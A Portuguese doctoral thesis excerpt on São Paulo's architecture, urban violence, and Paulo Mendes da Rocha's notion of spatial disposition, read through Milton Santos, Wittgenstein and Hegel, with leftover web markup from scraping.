SP: razões de arquitetura [da dissolução dos edifícios e de como atravessar paredes]

strongSP: razões de arquitetura/strong

[da dissolução dos edifícios e de como atravessar paredes]

Tese de Doutorado

Programa de Pós-Graduação
Estruturas Ambientais Urbanas
Faculdade de Arquitetura e Urbanismo
Universidade de São Paulo

Angelo Bucci
orientadora: Professora Doutora Ana Maria de Moraes Belluzzo
julho de 2005

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ÍNDICE

[os capítulos a seguir foram extraídos da tese de doutorado “quatro imagens para quatro operações” e conservam sua numeração original, por isso ela é descontínua]

1. VIOLÊNCIA COMO NORMA
1.1. CUSTO EM VIDAS

2. ELEMENTOS CONSTITUTIVOS
2.2. DUAS CRISES DECORRENTES
2.4. O PLANO CONTÍNUO E EIXOS DESCONTÍNUOS
2.4.1. PLANO HORIZONTAL / CONTINUIDADE
2.4.2. EIXOS VERTICAIS / DESCONTINUIDADES

3. EM BUSCA DE SENTIDO
3.2. DISPOSIÇÕES ESPACIAIS
[da dissolução dos edifícios]

4. AO ENCONTRO DO LUGAR
4.1. UM MERGULHO NO ESCURO
4.2. UM PERCURSO NO CENTRO

5. QUATRO OPERAÇÕES
[de como atravessar paredes]

CONCLUSÃO

BIBLIOGRAFIA / CITADA

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Um jovem com roupas muito folgadas atravessa em vôo rasante uma área industrial abandonada, em meio a antigos galpões e armazéns, todos vazios, e ao lado do leito recém poluído de um velho rio. Ele, na verdade, se equilibra sobre toneladas que correm a sessenta quilômetros por hora, está sobre um dos vagões da composição ferroviária que vem da zona leste para o centro da cidade. O mar desse surfista está de ponta cabeça, é feito de um fluido de fios e cabos cujas ondas vêm do céu e lhe dão ritmo às manobras de abaixar e levantar o tronco como se fossem golpes; todos fatais. O surfe ferroviário não é um esporte; talvez seja um exercício, na acepção militar do termo: um condicionamento para a sobrevivência em ambiente de guerra. O surfe ferroviário é também uma forma de expressão, cifrada e eminentemente pública. Esse jovem é o mesmo do rap e do street dance, ele é o mesmo das pichações que não têm frases, palavras nem letras. Todas as suas formas de expressão são publicamente expostas. Todas, muito contundentes.

A leveza que surpreende nesse surfista não é uma leveza física: habilidade, velocidade e destreza. Mais que isso, ele se pôs de pé sobre uma massa imensa e dinâmica. É como se ele tivesse invertido a relação de opressão e se equilibrasse sobre aquilo que historicamente lhe pesava sobre os ombros. Assim, surpreendentemente, ele voa!

Voa com a leveza cultural de quem pode deixar tudo para trás.

a href=http://www.spbr.arq.br/pt/wp-content/uploads/2007/09/imagem01.jpgimg class=alignnone wp-image-1627 src=http://www.spbr.arq.br/pt/wp-content/uploads/2007/09/imagem01.jpg alt=imagem01 width=600 height=399 //a

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[imagem 01 – emSurfistas de trem/em, foto: Rogério Reis, 1995]

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a name=_Toc153527658/astrong1.   VIOLÊNCIA COMO NORMA/strong

a name=_Toc153527659/astrong1.1. CUSTO EM VIDAS/strong

11.455 homicídios, 3.028 vítimas fatais em acidentes de trânsito, 719 suicídios, 6.817 crianças mortas antes de completar um ano de idade e 4.066 nascidos mortos.a href=#_ftn1 name=_ftnref1[1]/a É este o custo, em vidas humanas, que a existência da cidade de São Paulo, com 17.878.703 habitantesa href=#_ftn2 name=_ftnref2[2]/a, cobra dos seus habitantes a cada ano. São 26.085 vidas por ano, ou 70 + 1 ao dia, consumidas sem a menor cerimônia — incluídas nesse quadro as mortes infantis precoces por serem, quase em sua totalidade, conseqüência da desigualdade social e da falta de acesso a recursos básicos.

Contudo, o número de vidas cobradas pela violência urbana é bem maior. Entre os ditos óbitos gerais, 112.569 por ano, grande parte deles devem ser creditados a ela de modo direto ou indireto. Há também numerosas vidas que são potencialmente consumidas. Por exemplo: o tempo gasto por milhões de pessoas que diariamente se deslocam de casa para o trabalho por percursos absurdos e condições de transporte precárias, quer dizer, 5 milhões de pessoasa href=#_ftn3 name=_ftnref3[3]/a que gastam 4 horas por dia com deslocamentos equivalentes a 20 milhões de horas-homem por dia. Considerando-se que a vida inteira de trabalho de um homem soma 52.800 horasa href=#_ftn4 name=_ftnref4[4]/a, o deslocamento diário desse contingente equivaleria a mais 378 vidas consumidas a cada dia ou 102.060 vidas por anoa href=#_ftn5 name=_ftnref5[5]/a.

Indiretamente, ainda, pode-se lembrar que a cada centavo de dinheiro público — e todo o dinheiro é essencialmente bem de uso público — corresponde uma gota de vida humana. Considere-se, por exemplo, que 1 salário mínimo de R$ 180a href=#_ftn6 name=_ftnref6[6]/a, ou US$ 75a href=#_ftn7 name=_ftnref7[7]/a; portanto, se 1 ano corresponde a 13 salários e a vida de um homem, a 30 anos de atividade + 20 anos de aposentadoria, então uma vida corresponde a 50 anos de salários, que perfaz um de total US$ 48.750. Assim, quando se desviam US$ 200 milhõesa href=#_ftn8 name=_ftnref8[8]/a do dinheiro dos “cofres públicos” rouba-se o equivalente à vida inteira de 4.102 pessoas antes mesmo de elas existirem. Multiplicando-se esse número por 4 dependentes, como média tipicamente adotada, então US$ 200 milhões são 20.510 vidas. Do mesmo modo, se um banco faz desaparecer numa operação financeira 15 bilhões de dólaresa href=#_ftn9 name=_ftnref9[9]/a está “fuzilando” de uma só vez — ou, rigorosamente, está subtraindo os recursos que no Brasil permitiriam a subsistência de — 1.538.461 vidas humanas.

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a name=_Toc153527660/aa name=_Toc109578062/astrong2.2. DUAS CRISES DECORRENTES/strong

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O quadro apresentado tem o intuito de não deixar perder de vista fatos que também caracterizam o ambiente construído a partir do qual se formula o que segue. É precisamente pela lógica perversa desse quadro, pintado a sangue por assim dizer, que a violência se instaura e se cristaliza em coisas: é assim que ela transforma em paredes sólidas os nossos medos mais profundos. Ela constrói em concretamente o insondável de nossa inconsciência. Solidamente construídos e, ainda assim, quase não os percebemos.

As formas cristalizadas da ação violenta na construção do espaço urbano, por estarem fundidas nos artefatos que amparam a nossa existência cotidiana, informam padrões de comportamento e também a maneira como nos relacionamos com o ambiente urbano. A violência permeia imperceptivelmente os hábitos e costumes, ou seja, o nosso modo de vida na cidade. A questão é que por um processo de inversão de valores a violência passa a atuar como norma: estabelece parâmetros, que por sua vez se desdobram em regras de conduta que pautam as nossas ações no espaço urbano.

Em São Paulo, a ação violenta é norma. Servindo-se de um processo histórico crescente de inversão de valores, ela opera folgadamente nos três campos possíveis de ação sobre o espaço: formal, técnico e simbólico, conforme a classificação sugerida pelo ilustre geógrafo Milton Santos em A Natureza do Espaço que forneceu preliminarmente a estrutura inicial das abordagens propostas neste estudo.

Tal inversão coloca em crise a própria idéia de cidade como instituição, ou como acordo ético travado entre os habitantes e que deveria estar expresso nas regras que regem o nosso convívio. Aquele acordo deixa de prevalecer para ser, paulatinamente, substituído por uma falta: a ausência de acordos e regras que caracteriza o quadro em que a violência urbana se alastra.

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A crise da idéia de cidade põe em crise o propósito da arquitetura. Essa última se faz sentir em duas frentes solidárias e indissociáveis: na formação e no exercício profissional.

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No exercício profissional, ela se dá porque a crise da idéia de cidade trunca, ao mesmo tempo, a fonte da demanda, o meio em que se opera e também a finalidade da ação. Essa crise no exercício profissional pode ser expressa por meio de uma única perguntaa href=#_ftn10 name=_ftnref10[10]/a:

strongComo propor projetos numa cidade que parece já ter perdido o sentido?/strong

A crise na formação do arquiteto aparece porque, ao operar como norma, a violência desfaz não somente o convívio, o espaço público. Ela destrói também os redutos da intimidade e escancaraos abrigos preciosos que sustentam a existência dos sonhos e das imagens, para usar as palavras de Bachellard, que eram mobilizados na elaboração do “pensamento arquitetônico”.

Portanto, essa crise na formação pode ser expressa assim:

strongComo elaborar o pensamento arquitetônico quando o abrigo fecundo das imagens poéticas, que antecedem o próprio pensamento, parecem já ter deixado de existir?/strong

As mudanças de abordagem que se seguem são aproximações sucessivas para reconstruir um sentido para a atividade da arquitetura a partir da vivência da cidade com intuito de superar as duas crises instauradas.

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a name=_Toc153527661/aa name=_Toc109578063/astrong2. ELEMENTOS CONSTITUTIVOS/strong

A linha do horizonte e o zênite são os dois elementos primordiais da nossa orientação no espaço.

A linha de nível e o fio de prumo são as duas ferramentas fundantes da nossa cultura construtiva.

As duas ferramentas, que são a tradução do nosso modo de orientação no mundo, transferem-se para os artefatos. Daí a organização deste tópico: duas máquinas, duas construções correspondentes, dois programas tipicamente dispostos — o plano horizontal contínuo e os eixos verticais descontínuos.

As proporções numéricas que têm esses elementos constitutivos em São Paulo conferem à cidade um caráter próprio, único.

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a name=_Toc90482863/aa name=_Toc90482824/aa name=_Toc12006773/aa name=_Toc153527662/aa name=_Toc109578074/astrong2.4. O PLANO CONTÍNUO E EIXOS DESCONTÍNUOS/strong

Milton Santos, em “A Natureza do Espaço”, dedica um capítulo inteiro às “Horizontalidades e Verticalidades”. Ali, de acordo com o autor, os arranjos espaciais se dão não somente por figuras feitas por pontos contínuos e contíguos, mas também por descontinuidades. É um espaço feito também de segmentações e partições que sugerem pelo menos dois recortes: 1. horizontalidades, que seriam a extensão de pontos que se agregam sem descontinuidade e que estão ligadas, preferencialmente, ao territorial; 2. verticalidades, que seriam pontos separados no espaço que asseguram o funcionamento global da sociedade e da economia e que estão ligadas, preferencialmente, ao funcional. O espaço atual seria composto por estes dois recortes — dois arranjos e duas segmentações —, inseparavelmente. Para a geografia, conforme Milton Santos, verticalidade e horizontalidade têm referências e sentidos precisos. Seria possível ilustrá-las, com alguma nitidez, através de uma descrição do tipo a matrix está em toda parte, que sugere a visualização desses conceitos. Essa imagem seria mais ou menos a seguinte :

Os setores hegemônicos no mundo se organizam na extensão do globo como uma teia que envolve o planeta inteiro para assegurar o funcionamento global da economia e da sociedade. Esta teia — impalpável, descontínua, e segmentada — seria a forma, não-forma, dos setores hegemônicos. É como se ela produzisse uma sombra sobre todo o planeta ou como se pairasse soberana e inteira na extensão total do globo e, ao mesmo tempo, completa em cada um dos seus pontos. Quando essa teia — imaginária — “escolhe” um ponto na superfície da terra e o alveja implacavelmente por uma ordem como se fosse através de um raio vertical que carrega consigo vetores de uma racionalidade superior e do discurso pragmático dos setores hegemônicos, criando um cotidiano obediente e disciplinado, na esteira desse raio se estabelecem as denominadas verticalidades. O ponto alvejado é o lugar — o subespaço — que na sua integração sem descontinuidade com outros pontos contínuos e contíguos do território estabelece outro tipo de integração a que ele denomina horizontalidades.

Para Milton Santos as horizontalidades detêm uma tensão dialética:

As horizontalidades são tanto o lugar da finalidade imposta de fora, de longe e de cima, quanto o da contrafinalidade, localmente gerada. Elas são o teatro de um cotidiano conforme, mas não obrigatoriamente conformista e, simultaneamente, o lugar da cegueira e da descoberta, da complacência e da revolta.

Finalmente, cada ponto atingido por um daqueles raios verticais corresponderia à fundação, na ordem atual, de uma cidade — de um modo geral, as cidades são o ponto de intersecção entre verticalidade e horizontalidades — e, claro, não faz a menor diferença, para essa ordem atual, a data cívica do surgimento histórico de cada subespaço. Assim, por mais antigo que seja cada lugar, é somente porque e quando o raio vertical o atinge que ele, atualmente, passa a existir para os setores hegemônicos.

a name=_Toc153527663/aa name=_Toc109578075/astrong2.4.1. PLANO HORIZONTAL / CONTINUIDADE/strong

O plano horizontal é único e está pegado à superfície do planeta.

Feito por eixos ele se tece e tende a uma malha cada vez mais sobreposta e fechada; por isso, apresenta-se, desde que surge, como um plano.

Esse plano horizontal movediço, em São Paulo, é espesso. Sua espessura matriz está na geografia em que a cidade se implantou e por isso tem cerca de 20 metros, ou seis pavimentos, de altura. As pontes consagraram essa espessura incomum. Mas o plano cresce e ganha maior espessura abaixo e acima da sua superfície espessa.

Em São Paulo, a geografia transformou a ponte numa singularidade da paisagem urbana.

O vigor desse plano horizontal movediço e espesso dissolve cada um dos eixos verticais. Mas também as extensões dos seus eixos horizontais que o compõem dissolvem a própria cidade para mesclá-la a outras cidades, regiões e países. Toda a infra-estrutura, que permite o “funcionamento” da cidade, está disposta nesse plano horizontal. A espessura do plano é maior do que aquilo que se instala na superfície, ela cresce para dentro da terra, subterrânea, e acima, aérea, mas está sempre obediente ao plano horizontal da superfície do planeta — ferrovias, estradas, hidrovias; ou tubos, cabos elétricos, fibras óticas; ou rotas aéreas e órbitas de satélites — tudo está numa malha sobreposta e faz parte desse mesmo plano horizontal definido pelo nível do chão, que em São Paulo é particularmente espesso.

A cidade é um momento particular dessa malha onde sua densidade aumenta.

Na cidade o plano tende à consistência.

A origem da escala planetária desse plano é a origem dele mesmo, está ligada ao ambiente sobre o qual todas as cidades se implantaram e à dependência que elas têm do ar, da água, da terra e de cada produto que se produziu a partir desses elementos primordiais. Essa escala estava presente nos aquedutos romanos, nas cisternas de Istambul e também em cada barco mercante lançado ao mar. Cada homem andando num caminho de chão batido tem, potencialmente, essa mesma monumentalidade planetária.

A despeito dessa origem planetário do plano horizontal é a ordem atual que o redefine.

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a name=_Toc153527664/aa name=_Toc109578076/astrong2.4.2. EIXOS VERTICAIS / DESCONTINUIDADES/strong

Os eixos verticais são múltiplos e tendem a escapar do planeta.

Cada um desses eixos está isolado em si. Em conjunto, eles podem compor segmentos de planos, mas tendem sempre ao isolamento dado pelo vazio da direção zenital pela qual estão orientados.

Os eixos verticais, em São Paulo, acumularam-se, mas eles se aglomeram sem se fundir.

Em São Paulo, a quantidade dos eixos verticais é tal que ela desfaz a singularidade de cada um deles para compor uma unidade de conjunto.

Os eixos verticais tragam, como vulcões invertidos, a vitalidade do plano horizontal movediço para pontos cada vez mais altos e isolados.

Parte da infra-estrutura presente no plano horizontal movediço se verticaliza como prumadas em cada um dos eixos verticais para o “funcionamento” dos arranha-céus. Verticalizadas, algumas “prumadas” prosseguem para além do próprio arranha-céu para se ligarem à espessura total do plano horizontal: sinais de rádio, satélites. Assim, cada eixo vertical é como um equipamento que se conecta à infra-estrutura disposta no plano horizontal, às vezes abaixo e acima dele.

A cidade é um momento particular desses eixos onde a sua densidade aumenta.

Na cidade o eixo tende à existência.

A origem singular do arranha-céu, em São Paulo, perdeu importância em função da quantidade. Eles ganham “singularidade” pela dimensão do conjunto: assumindo-se que no mundo existam cerca de 200.000 municípios, quando se diz 50 km de metrô, 250 km de trem e 1.600 km de elevadores, isso é como dizer um código único, uma “impressão digital”, que destaca nitidamente um, e apenas um, dentro de um conjunto formado por 200.000.

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a name=_Toc153527665/aa name=_Toc153477566/astrong3.   EM BUSCA DE SENTIDO/strong

a name=_Toc153527666/aa name=_Toc109578080/astrong3.2. DISPOSIÇÕES ESPACIAIS/strong

a name=_Toc153527667/aa name=_Toc109578081/astrong[da dissolução dos edifícios]/strong

Uma noção que recentemente tem sido trazida ao âmbito da arquitetura por Paulo Mendes da Rocha, entre outros, é a noção de disposição espacial. Ela é uma idéia recorrente em seu discurso e tal idéia ganha sentido redobrado em sua obra. O que se segue não é uma análise da obra, quero ater-me à noção de disposição espacial em Paulo Mendes da Rocha com o intuito de reconhecer equivalências entre ela e o processo pelo qual ele elabora seus projetos, ou as suas proposições arquitetônicas.

A hipótese é de que Paulo Mendes da Rocha, muitas vezes, elabora suas proposições arquitetônicas a partir da noção de disposição espacial. Tal noção comparece no seu processo projetivo como uma estratégia pela qual as idéias arquitetônicas se desdobram sobre uma determinada questão específica e está presente, também, quando ele faz sua leitura crítica da cidade de São Paulo. Devo acrescentar que, em geral, o projeto e a leitura são feitos simultaneamente. Muitas vezes, é através dessa leitura crítica da cidade que ele propõe outras, diferentes, possibilidades de configurações. E vice-versa, porque simultaneamente.

Como ele faz isso?

Antes de esboçar tal resposta, vejamos, em outra fonte, uma formulação similar dessa mesma noção de disposição espacial. A outra fonte, dada a sua densidade, será apenas levemente tangenciada e já nos permitirá traçar algumas comparações: Wittgenstein no Tractatus, escrito durante a Primeira Guerra Mundial e publicado em 1921. Não quero estudar Wittgenstein nem encontrar em Wittgenstein a origem do conceito em Paulo Mendes da Rocha porque isso não faz diferença e também porque não creio que seja assim. Não o creio pela vitalidade que tem a noção de disposição espacial no pensamento e na obra do arquiteto. Tal vitalidade é sintomática do vínculo guardado com a fonte direta, primária, que é a própria realidade — o mundo, a totalidade das proposições possíveis e a fonte comum a todas as disciplinas —, que é, para o caso deste estudo, a cidade de São Paulo. Essa indiferença de qual seja a fonte da noção para o arquiteto é, em boa medida, sustentada no primeiro parágrafo do próprio Tractatus:

Talvez essa obra será compreendida somente por alguém que já tenha, por si mesmo, pensado o que está expresso aqui, ou, pelo menos, que tenha pensado algo similar. Assim, não se trata exatamente de um livro. Seu propósito seria alcançado se proporcionasse desfrute a alguém que o lesse e o compreendesse. A obra trata dos problemas da filosofia, e mostra, creio, que a razão pela qual estes problemas são colocados decorre de que a lógica da nossa linguagem é incompreendida. a href=#_ftn11 name=_ftnref11strong[11]/strong/a

Paulo Mendes da Rocha certamente está entre aqueles a quem o filósofo se dirige em sua obra como os “predestinados” a compreendê-la e desfrutá-la por ser alguém que já tenha pensado o que está expresso nela.

Embora o “Tractatus” seja um arrolamento de teses numeradas como se fossem parágrafosa href=#_ftn12 name=_ftnref12[12]/a, a sua seqüência tem ritmo e progressão típicos de um texto corrido. Por isso, são necessários pelo menos alguns pequenos blocos de seqüências para que não se perca muito o ambiente das assertivas e também o sabor da leitura. Segue-se uma pequena seleção, quase casual:
ol
li           O mundo é tudo que vem ao caso./li
/ol
strong1.1.         O mundo é a totalidade dos fatos, não das coisas./strong

strong2.01231. Se eu, para conhecer um objeto, pensava ser preciso conhecer suas características externas, é obrigatório conhecer todas as suas características internas./strong

strong2.014.      Os objetos contêm a possibilidade de todas as situações./strong

2.02.       Os objetos são simples.

strong2.0201.    Toda formulação complexa pode ser reduzida numa formulação sobre seus constituintes e dentro de proposições que descrevam a complexidade completamente./strong

strong2.033       Forma é a possibilidade da estrutura/strong.

strong2.04.       A totalidade dos arranjos existentes é o mundo./strong

strong2.05.       A totalidade de arranjos existentes também determina que arranjos não existem./strong

2.12.       strongUma imagem é um modelo da realidade/strong.

strong3.01.       A totalidade de pensamentos reais é a imagem do mundo./strong

strong3.1431.    O sentido essencial de uma proposição é claramente percebido se imaginarmos os objetos (tais como mesas, cadeiras e livros) numa certa disposição espacial ao invés de sinais escritos/strong.

strong3.3.         Somente proposições têm sentido; somente no nexo de uma proposição um nome tem significado/strong.

strong4.01.       A totalidade de proposições é linguagem./strong

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Aqui será preciso pedir licença ao filósofo para compreender o arquiteto. Licença porque o que quero fazer é tomar de empréstimo as suas teses e lançá-las sobre o ambiente urbano. Se pudesse, eu gostaria de lançá-las de fato, como coisas, lançá-las fisicamente. Cada tese como um fato, cada fato como um arranjo de objetos — ou disposição espacial de objetos —, porque tais fatos, colhidos do livro mais ou menos ao acaso e lançados ao léu sobre a cidade, encontrariam nela, cada um deles, seus endereços exatos e precisos.

Imaginemos a cidade como o mundo; cada peça que a compõe, um fato arquitetônico — como, por exemplo, seus edifícios—, cada um desses fatos, como uma dada disposição espacial de objetos. Se com isso refizermos o percurso das citações daquelas teses, já aqui nesse ponto ganharia destaque a tese 2.01231: para conhecer um objeto é obrigatório conhecer todas as suas características internas. Ela nos conduz à substância das coisas e para isso é necessário algum desprendimento da relação tradicional entre interior e exterior no que diz respeito à “forma”, é necessário um desprendimento da noção tradicional de “forma”. Essa tese desvincula o interior da sua “forma” externa, como se a “forma” deixasse de ser um corpo que lhe encerra. Assim os “objetos” contidos no interior de cada fato se libertam e recuperam a sua potência propositiva para constituírem novos arranjos. Eis que se torna maravilhosa a formulação da tese 2.014, os objetos contêm a possibilidade de todas as situações, porque, recuperada a sua potência propositiva, eles podem configurar novos fatos ou novas disposições espaciais. [Digo, em qualquer tempo: presentes, passadas e futuras!] a href=#_ftn13 name=_ftnref13[13]/a

Paulo Mendes da Rocha trabalha junto com o filósofo nessa direção.

O espaço construído da cidade se apresenta como justaposição, como simultaneidade, como sobreposição de fatos; enfim ele se apresenta como uma formulação complexa. A leitura do arquiteto desmonta essa complexidade de modo analítico como sugere a tese 2.0201, Objetos constituem a substância do mundo. Por esta razão eles não podem ser compostos (complexos). Ele desmonta a formulação complexa nas suas proposições constituintes e também desmonta a proposição em cada um dos objetos que compõem as disposições que lhe enunciam. Ele faz isso como se procurasse nos objetos a substância do mundo — cujo mundo, para os arquitetos, não é outra coisa senão a cidade —. Nesse processo o seu percurso é, num primeiro momento, aparentementea href=#_ftn14 name=_ftnref14[14]/a inverso ao da linguagem. Porque ele, primeiro, precisa desmontar a estrutura das formulações existentes para recuperar a potência propositiva de cada um dos objetos que compõem a sua substância. Nesse desmonte as formas que correspondem a cada um dos fatos arquitetônicos da cidade deixam de existir como unidade. Importante, deixam de existir para liberar a potência propositiva dos seus elementos constitutivos. Não é que a forma não interesse ao arquiteto, o que deixa de existir é a forma que aprisiona dentro dela, como latências, as potências propositivas dos objetos que a constituem, é essa a “forma” que o arquiteto atravessa. Atravessa, ou supera, para finalizar o desmonte analítico e reencontrar na simplicidade dos objetos isolados a sua potência propositiva para novas possibilidades — todas as possíveis — de configurações espaciais.

Então, ao reencontrar os objetos em sua plena potência propositiva — como se fossem os tijolinhos da construção dos sentidos arquitetônicos — ele rapidamente refaz o percurso no sentido inverso, para lançá-las, como arquiteto, na forma de novas proposições. Chamamos a essas proposições projetos.

Como ele as lança?

A forma, que às vezes aprisiona, como descrito; que às vezes é despótica, como quando se torna formalista; essa mesma forma, em outra condição, é também o que liberta. É nessa condição que a forma ampara a estrutura do raciocínio da linguagem, ou melhor, do projeto. Então, como não poderia deixar de ser, após desmontar a forma que aprisiona, ele lança as suas proposições servindo-se da forma como estrutura das suas proposições arquitetônicas — tese 2.033. — é assim que Paulo Mendes da Rocha elabora as suas “disposições espaciais” como imagens — modelos da realidade — que se desdobram em projetos. Para elas, como diz a tese 3.1431, não há sinais escritos que lhes possam traduzir.

Então, as disposições espaciais não são projetos?

Não. Não o são porque não têm a especificidade e a objetividade que exige um projeto de arquitetura. As disposições espaciais são como algoritmos abertos, que se podem desdobrar em diversas finalizações como diversos projetos. E isso o arquiteto bem o sabe pelo que demonstra na condução do processo do seu trabalho de modo que elas se desdobrem em projetos de arquitetura — com o perdão da expressão — primorosos.

Finalmente ganha um sabor especial a tese 3.3. Somente proposições têm sentido; somente no nexo de uma proposição um nome tem significado. Tais proposições, atualmente, só podem ser formuladas a partir desse processo: desmonte da realidade dos fatos constituídos para recuperar a potência propositiva dos objetos com os quais formulará a sua nova proposição. As proposições são os projetos de arquitetura — cuja fonte é a cidade como um mundo e como a possibilidade de todas as situações — o nome que ganha significado nesse processo é a cidade, em contínua transformação. Mas dessa maneira, para que a cidade não perca o seu sentido — que só tem significado no nexo de uma proposição — é necessário que as proposições não cessem de serem feitas. Proposições de fato.

E estas, necessariamente, desmontarão tudo outra vez.

Mas, então, seria necessário aceitar que para sustentar o sentido da cidade numa proposição é necessário desfazê-la e refazê-la incessantemente, como se a cidade, para não perder o seu sentido, precisasse pulsar?

Sim. E aceitar tal condição equivale a dizer que a cidade se apresenta, para o arquiteto, como uma totalidade.

Eis outra noção tão cara aos arquitetos: a idéia de totalidade. Fecundo legado da filosofia clássicaa href=#_ftn15 name=_ftnref15emstrong[15]/strong/em/a, o conceito de totalidade em Aristóteles descreve uma relação particular entre as partes e o todo: Um todo completo em suas partes e perfeito em sua ordem.a href=#_ftn16 name=_ftnref16emstrong[16]/strong/em/a Estava, portanto desde então, já descrita a mesma matriz sobre a qual a pensamos atualmente. Porém, hoje, a idéia de totalidade não tem mais a estabilidade ou permanência, que emana da formulação de Aristóteles. — A noção de totalidade está também expressa nas teses de Wittgenstein (1.1, 2.04, 2.05, 3.01 e 4.01) apresentadas anteriormente. — Para expor sumariamente o conceito, recorro, uma vez mais, a Milton Santos em “A Natureza do Espaço”, onde ele apresenta o conceito de modo atual, claro e suficiente. É dele a descrição da idéia de totalidade reproduzida abaixo:

Segundo essa idéia, todas as coisas presentes no Universo formam uma unidade. Cada coisa nada mais é que parte da unidade, do todo, mas a totalidade não é uma simples soma das partes. As Partes que formam a totalidade não bastam para explicá-la. Ao contrário, é a Totalidade que explica as partes. A Totalidade B, ou seja o resultado do movimento de transformação da Totalidade A, divide-se novamente em partes. As partes correspondentes à Totalidade B já não são as mesmas partes correspondentes à Totalidade A. São diferentes. As partes de A (asup1/sup, asup2/sup, asup3/sup… asupn/sup) deixam de existir na totalidade B; é a Totalidade B, e apenas ela, que explica suas próprias partes, as partes de B (bsup1/sup, bsup2/sup, bsup3/sup… bsupn/sup). E não são as partes de asup1/sup, asup2/sup, asup3/sup… que se transformam em bsup1/sup, bsup2/sup, bsup3/sup… , as a totalidade A que se transforma na totalidade B.

Eis porque se diz que o Todo é maior que a soma de suas partesa href=#_ftn17 name=_ftnref17strong[17]/strong/a.

Mas o autor nos alerta que a totalidade é fugaz, ela se desfaz e se refaz em outra continuamente. Ele diz: A totalidade é a realidade em sua integridadea href=#_ftn18 name=_ftnref18emstrong[18]/strong/em/a. Mas a integridade da realidade estaria sempre por ser consumada? Talvez — talvez porque dependeria de como definíssemos realidade em sua integridade. Se for como um resultado, ela se consumaria, porque ela seria equivalente a totalidade. Mas se for como processo, ela equivaleria à idéia de totalização que está sempre em curso para se totalizar de modo que não se consuma nunca —. Então, a totalidade, assim como a realidade em sua integridade, não se consuma nunca? Ao contrário, a totalidade se consuma a todo instante. E logo se desfaz e se refaz em outra. Por isso, segundo o autor, para pensá-la é imprescindível cindi-la. Ele nos diz que esse é o processo típico do conhecimento, que pressupõe a análise, e a análise, por sua vez, pressupõe a divisão.

O conhecimento da totalidade pressupõe, assim, sua divisão. O real é o processo de cissiparidade, subdivisão, esfacelamento. Essa é a história do mundo, do país, de uma cidade… pensar a totalidade, sem pensar a sua cisão é como se a esvaziássemos de movimentoa href=#_ftn19 name=_ftnref19strong[19]/strong/a.

A essência da existência estaria num movimento que vai daquilo que está dado para aquilo a ser realizado. Segundo o autor, é o que Whitehead denomina presente iminente, inconcluso, um presente que se move ou que está por ser: não apenas projeto e não ainda realidade terminada. Finalmente, tenho a impressão de que Milton Santos endereça seu texto aos assuntos específicos da arquitetura:

Tornada forma-conteúdo pela presença da ação, stronga forma torna-se capaz de influenciar, de volta, o desenvolvimento da totalidade, participando, assim, de pleno direito, da dialética social/strong. De acordo com Sartre, “o todo está inteiramente presente na parte como seu sentido atual e seu destino.” a href=#_ftn20 name=_ftnref20strong[20]/strong/a

Para fechar o assunto. Quando Paulo Mendes da Rocha se refere às disposições espaciais para descrever alguns de seus projetos ele opera nesse estado de coisas, ou nessa realidade em sua integridade, a que me refiro como sendo a cidade de São Paulo. Estaria então presente na idéia de disposições espaciais a noção de totalidade, que ele percebe e a aceita como fugaz. Ele a considera inconclusa, não apenas projeto e não ainda realidade terminda.a href=#_ftn21 name=_ftnref21[21]/a Então, ela é desfeita como primeira totalidade percebida e rapidamente reconstruída a partir dos objetos constitutivos libertados dos fatos que a compunham. Os objetos recuperaram a sua potência propositiva a partir do desmantelamento dos fatos que as aprisionavam como latências. Essa origem “viva” dos objetos extraídos da realidade em sua integridade, com os quais ele elabora às suas proposições arquitetônicas, confere às proposições do arquiteto um vigor de conteúdo contextualizado: por isso é uma obra que conversa com o seu lugar e, também, com o universo.

O projeto propriamente dito, quero dizer, aqueles desenhos que se usam para construir os edifícios, vem depois. Mas isso não é exatamente verdadeiro, porque tudo se faz simultaneamente. Porém, didaticamente, como se estivéssemos analisando o todo pelas partes, talvez se pudesse aceitá-lo dito assim: aqueles desenhos que se usam pra construir os edifícios vêm todos depois.

No entanto, seguimos cientes de que, como se diz, na prática a teoria é outra. Então, que se deixe o didaticamente de lado para considerar o simultaneamente. Aí tudo se torna mais complexo, mas, por outro lado, torna-se muito mais interessante.

Estaríamos todos de acordo com o fato de que o conhecimento pressupõe a análise e a análise pressupõe a divisão. Entretanto, quando se pensa na atividade de projetos de arquitetura não é possível dizer o que vem antes e o que vem depois: o conhecimento ou a análise? A análise ou a divisão? A hipótese ou a síntese?

Nessa atividade creio que nenhum deles se antecede. São todos simultâneos.

E como isso acontece?

Para responder a essa questão, lançando mão dos mesmos elementos que nos trouxeram até aqui, posso dizer que isso acontece como se no momento do projeto — uma ação do sujeito — o conhecimento se constituísse como numa totalidade. Ainda que fugaz e só por aquele instante. Sem onipotência, sem onisciência, sem infalibilidade.

A ação como fato, por mais carregado de contradições de qualquer ordem que esteja o seu sujeito no instante da ação, ela não deixa dúvida. A ação é. A essa totalidade de conhecimento se pode chamar consciência, para dizer a apreensão da realidade em sua integridade.

A essa ação sem dúvida do sujeito se pode chamar certeza.

E o que sustenta o sujeito nesse ato?

Uma boa resposta para isso encontra-se no que Hegel denomina certeza sensível. Mas aí surge um problema. Pois Hegel usa esta designação, em “Fenomenologia do Espírito” onde ele traça o processo de formação da consciência do homem, para se referir justamente ao primeiro estágio da formação da consciência, onde o pensamento se confundiria com a sensibilidade e onde o conhecimento ainda mal teria sido esboçado. É nesse estágio ancestral da consciência no homem que, segundo ele, a certeza sensível orientaria a ação.

Por mais que seja atraente pensarmos que quando se projeta em arquitetura estamos retornando à ancestralidade — com a qual, de fato, a atividade nos reconcilia —, isso é um problema. Pois o que me refiro como certeza sensível, aquilo que comandaria a ação num lapso de totalidade do conhecimento, estaria mais alinhada com o que Hegel projeta como saber absoluto, o último estágio da formação da consciência, em que se desfaz a cisão entre sujeito e objeto.

É como se o simultâneo fosse o tempo condensado onde o processo descrito por Hegel estaria presente inteiro e onde o saber absoluto e certeza sensível estariam de mãos dadas.

Ou, melhor dizendo, para a atividade do projeto de arquitetura não é possível identificar, no momento da ação, o que vem antes: a certeza sensível ou o entendimento, a consciência ingênua ou o saber absoluto? Sem idealização nem infalibilidade, ainda que se aceite que, naquele lapso de tempo onde a ação se dá, haja uma totalidade de conhecimento, por ser assim que a percebemos.

